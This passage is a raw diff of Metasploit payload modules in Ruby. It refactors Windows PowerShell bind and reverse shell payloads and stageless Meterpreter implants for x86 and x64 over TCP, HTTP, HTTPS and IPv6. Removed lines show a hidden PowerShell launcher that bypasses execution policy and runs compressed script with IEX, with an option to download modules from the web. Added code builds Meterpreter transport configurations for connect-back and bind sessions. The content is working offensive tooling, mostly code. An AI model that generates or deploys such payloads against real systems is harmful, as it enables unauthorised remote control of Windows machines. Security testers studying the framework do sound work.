|
||||
end
|
|
@ -4,26 +4,28 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/base/sessions/powershell'
|
||||
require 'msf/core/payload/windows/powershell'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 1342
|
||||
CachedSize = 1510
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Rex::Powershell::Command
|
||||
include Msf::Payload::Windows::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
|
||||
'Description' => 'Interacts with a powershell session on an established socket connection',
|
||||
'Author' =>
|
||||
[
|
||||
'Author' => [
|
||||
'Ben Turner', # benpturner
|
||||
'Dave Hardy' # davehardy20
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
'References' => [
|
||||
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -32,46 +34,15 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::PowerShell,
|
||||
'RequiredCmd' => 'generic',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
'Payload' => { 'Payload' => '' }
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
register_options( [
|
||||
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
lport = datastore['LPORT']
|
||||
lhost = datastore['LHOST']
|
||||
|
||||
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||
script_in = ""
|
||||
::File.open(template_path, "rb") do |fd|
|
||||
script_in << fd.read(fd.stat.size)
|
||||
end
|
||||
script_in << "\npowerfun -Command bind"
|
||||
|
||||
mods = ''
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
|
||||
|
||||
script = Rex::Powershell::Command.compress_script(script_in)
|
||||
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||
generate_powershell_code("Bind")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,13 +5,16 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/powershell'
|
||||
require 'msf/core/payload/windows/powershell'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 1342
|
||||
CachedSize = 1518
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Rex::Powershell::Command
|
||||
include Msf::Payload::Windows::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -29,7 +32,7 @@ module Metasploit3
|
|||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'windows',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::PowerShell,
|
||||
'RequiredCmd' => 'generic',
|
||||
'Payload' =>
|
||||
|
@ -45,34 +48,7 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def generate
|
||||
lport = datastore['LPORT']
|
||||
lhost = datastore['LHOST']
|
||||
|
||||
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||
script_in = ""
|
||||
::File.open(template_path, "rb") do |fd|
|
||||
script_in << fd.read(fd.stat.size)
|
||||
end
|
||||
|
||||
script_in << "\npowerfun -Command reverse"
|
||||
|
||||
mods = ''
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
|
||||
|
||||
script = Rex::Powershell::Command.compress_script(script_in)
|
||||
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||
generate_powershell_code("Reverse")
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,16 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 883358
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -35,9 +40,32 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate
|
||||
# blank LHOST indicates bind payload
|
||||
url = "tcp://:#{datastore['LPORT']}"
|
||||
generate_stageless_x86(url)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_bind_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,18 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/handler/reverse_http/stageless'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 884402
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Handler::ReverseHttp::Stageless
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -31,17 +34,38 @@ module Metasploit4
|
|||
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
||||
))
|
||||
|
||||
initialize_stageless
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
# generate a stageless payload using the x86 version of
|
||||
# the stageless generator
|
||||
opts = {
|
||||
:ssl => false,
|
||||
:generator => method(:generate_stageless_x86)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_http(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
generate_stageless(opts)
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,18 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/handler/reverse_http/stageless'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 884402
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Handler::ReverseHttp::Stageless
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -31,17 +34,37 @@ module Metasploit4
|
|||
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
||||
))
|
||||
|
||||
initialize_stageless
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
# generate a stageless payload using the x86 version of
|
||||
# the stageless generator
|
||||
opts = {
|
||||
:ssl => true,
|
||||
:generator => method(:generate_stageless_x86)
|
||||
}
|
||||
generate_stageless(opts)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_https(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
end
|
||||
|
|
|
@ -4,16 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 883358
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -36,8 +41,32 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate
|
||||
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
|
||||
generate_stageless_x86(url)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_ipv6_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,16 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 883358
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -35,8 +40,32 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def generate
|
||||
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||
generate_stageless_x86(url)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X86
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,9 +4,11 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
require 'msf/core/payload/windows/powershell'
|
||||
require 'msf/base/sessions/powershell'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
|
||||
###
|
||||
#
|
||||
# Extends the Exec payload to add a new user.
|
||||
|
@ -14,10 +16,11 @@ require 'msf/base/sessions/powershell'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 1543
|
||||
CachedSize = 1695
|
||||
|
||||
include Msf::Payload::Windows::Exec
|
||||
include Rex::Powershell::Command
|
||||
include Msf::Payload::Windows::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -52,33 +55,6 @@ module Metasploit3
|
|||
# Override the exec command string
|
||||
#
|
||||
def command_string
|
||||
lport = datastore['LPORT']
|
||||
|
||||
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||
script_in = ""
|
||||
::File.open(template_path, "rb") do |fd|
|
||||
script_in << fd.read(fd.stat.size)
|
||||
end
|
||||
|
||||
script_in = File.read(template_path)
|
||||
script_in << "\npowerfun -Command bind"
|
||||
|
||||
mods = ''
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
|
||||
script = Rex::Powershell::Command.compress_script(script_in)
|
||||
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||
|
||||
generate_powershell_code("Bind")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -4,9 +4,11 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
require 'msf/core/payload/windows/powershell'
|
||||
require 'msf/base/sessions/powershell'
|
||||
require 'msf/core/handler/reverse_tcp_ssl'
|
||||
|
||||
###
|
||||
#
|
||||
# Extends the Exec payload to add a new user.
|
||||
|
@ -14,9 +16,10 @@ require 'msf/base/sessions/powershell'
|
|||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 1527
|
||||
CachedSize = 1703
|
||||
|
||||
include Msf::Payload::Windows::Exec
|
||||
include Msf::Payload::Windows::Powershell
|
||||
include Rex::Powershell::Command
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -35,7 +38,7 @@ module Metasploit3
|
|||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||
'Session' => Msf::Sessions::PowerShell,
|
||||
))
|
||||
|
||||
|
@ -52,33 +55,6 @@ module Metasploit3
|
|||
# Override the exec command string
|
||||
#
|
||||
def command_string
|
||||
lport = datastore['LPORT']
|
||||
lhost = datastore['LHOST']
|
||||
|
||||
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
|
||||
script_in = ""
|
||||
::File.open(template_path, "rb") do |fd|
|
||||
script_in << fd.read(fd.stat.size)
|
||||
end
|
||||
script_in << "\npowerfun -Command reverse"
|
||||
|
||||
mods = ''
|
||||
|
||||
if datastore['LOAD_MODULES']
|
||||
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
|
||||
mods_array.collect(&:strip)
|
||||
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
|
||||
mods_array.each {|m| vprint_good " #{m}"}
|
||||
mods = "\"#{mods_array.join("\",\n\"")}\""
|
||||
script_in << " -Download true\n"
|
||||
end
|
||||
|
||||
script_in.gsub!('MODULES_REPLACE', mods)
|
||||
script_in.gsub!('LPORT_REPLACE', lport.to_s)
|
||||
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
|
||||
|
||||
script = Rex::Powershell::Command.compress_script(script_in)
|
||||
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
|
||||
|
||||
generate_powershell_code("Reverse")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -4,16 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/x64/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 1102498
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter_x64
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -35,9 +40,32 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate
|
||||
# blank LHOST indicates bind payload
|
||||
url = "tcp://:#{datastore['LPORT']}"
|
||||
generate_stageless_x64(url)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_bind_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,18 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/handler/reverse_http/stageless'
|
||||
require 'msf/core/payload/windows/x64/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 1103542
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter_x64
|
||||
include Msf::Handler::ReverseHttp::Stageless
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -31,17 +34,38 @@ module Metasploit4
|
|||
'Session' => Msf::Sessions::Meterpreter_x64_Win
|
||||
))
|
||||
|
||||
initialize_stageless
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
# generate a stageless payload using the x64 version of
|
||||
# the stageless generator
|
||||
opts = {
|
||||
:ssl => false,
|
||||
:generator => method(:generate_stageless_x64)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_http(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
generate_stageless(opts)
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,18 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/handler/reverse_http/stageless'
|
||||
require 'msf/core/payload/windows/x64/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 1103542
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter_x64
|
||||
include Msf::Handler::ReverseHttp::Stageless
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -31,17 +34,38 @@ module Metasploit4
|
|||
'Session' => Msf::Sessions::Meterpreter_x64_Win
|
||||
))
|
||||
|
||||
initialize_stageless
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
# generate a stageless payload using the x64 version of
|
||||
# the stageless generator
|
||||
opts = {
|
||||
:ssl => true,
|
||||
:generator => method(:generate_stageless_x64)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_http(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
generate_stageless(opts)
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,16 +4,21 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/x64/stageless_meterpreter'
|
||||
require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = :dynamic
|
||||
CachedSize = 1102498
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter_x64
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Windows::MeterpreterLoader_x64
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -36,8 +41,32 @@ module Metasploit4
|
|||
end
|
||||
|
||||
def generate
|
||||
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
|
||||
generate_stageless_x64(url)
|
||||
stage_meterpreter(true) + generate_config
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
unless opts[:uuid]
|
||||
opts[:uuid] = Msf::Payload::UUID.new(
|
||||
platform: 'windows',
|
||||
arch: ARCH_X64
|
||||
)
|
||||
end
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config_reverse_ipv6_tcp(opts)],
|
||||
extensions: (datastore['EXTENSIONS'] || '').split(',')
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -5,15 +5,20 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/x64/stageless_meterpreter'
|
||||
require 'msf/core/payload/transport_config'
